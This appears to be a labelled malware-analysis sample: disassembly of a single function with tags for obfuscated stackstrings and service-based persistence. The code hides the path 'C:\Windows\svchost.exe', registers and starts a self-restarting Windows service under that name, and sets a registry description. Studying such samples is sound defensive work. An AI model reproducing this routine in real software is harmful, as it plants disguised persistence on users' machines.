Function at 0x1000b81b
Capabilities:
Contain obfuscated stackstrings
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10027520
push 0x100132f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffc94
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x340]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x23c], 0x43
mov byte [ebp - 0x23b], 0x3a
mov byte [ebp - 0x23a], 0x5c
mov byte [ebp - 0x239], 0x57
mov byte [ebp - 0x238], 0x69
mov byte [ebp - 0x237], 0x6e
mov byte [ebp - 0x236], 0x64
mov byte [ebp - 0x235], 0x6f
mov byte [ebp - 0x234], 0x77
mov byte [ebp - 0x233], 0x73
mov byte [ebp - 0x232], 0x5c
mov byte [ebp - 0x231], 0x73
mov byte [ebp - 0x230], 0x76
mov byte [ebp - 0x22f], 0x63
mov byte [ebp - 0x22e], 0x68
mov byte [ebp - 0x22d], 0x6f
mov byte [ebp - 0x22c], 0x73
mov byte [ebp - 0x22b], 0x74
mov byte [ebp - 0x22a], 0x2e
mov byte [ebp - 0x229], 0x65
mov byte [ebp - 0x228], 0x78
mov byte [ebp - 0x227], 0x65
mov byte [ebp - 0x226], 0
lea ecx, [ebp - 0x23c]
push ecx
push 0x1003a38c
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 0
mov dword [ebp - 4], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0
jne 0x1000b95a
jmp 0x1000bb4b
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x220]
push eax
push 1
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x344]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x348], eax
mov ecx, dword [ebp - 0x344]
push ecx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x34c], 0x10037118
lea edx, [ebp - 0x34c]
push edx
push 1
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x37c], 0
xor ecx, ecx
mov dword [ebp - 0x378], ecx
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x370], ecx
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x378], 0
mov dword [ebp - 0x37c], 0x15180
mov dword [ebp - 0x360], 0x1b58
mov dword [ebp - 0x364], 1
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x35c], 1
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x354], 1
mov dword [ebp - 0x370], 3
lea edx, [ebp - 0x364]
mov dword [ebp - 0x36c], edx
mov dword [ebp - 0x374], 0
lea eax, [ebp - 0x37c]
push eax
push 2
mov ecx, dword [ebp - 0x348]
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov edx, dword [ebp - 0x368]
push edx
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp dword [ebp - 0x348], 0
jne 0x1000bacf
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x1000bacf
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x344]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
jne 0x1000babe
jmp 0x1000bb4b
push 0
push 0
mov edx, dword [ebp - 0x348]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x1000bae6
jmp 0x1000bb4b
push 0x1003a390
lea ecx, [ebp - 0x11c]
push ecx
call fcn.10012370
add esp, 8
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x11c]
push eax
call fcn.10012380
add esp, 8
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x11c]
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], 0xffffffff
call fcn.1000bb59
jmp 0x1000bbb1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret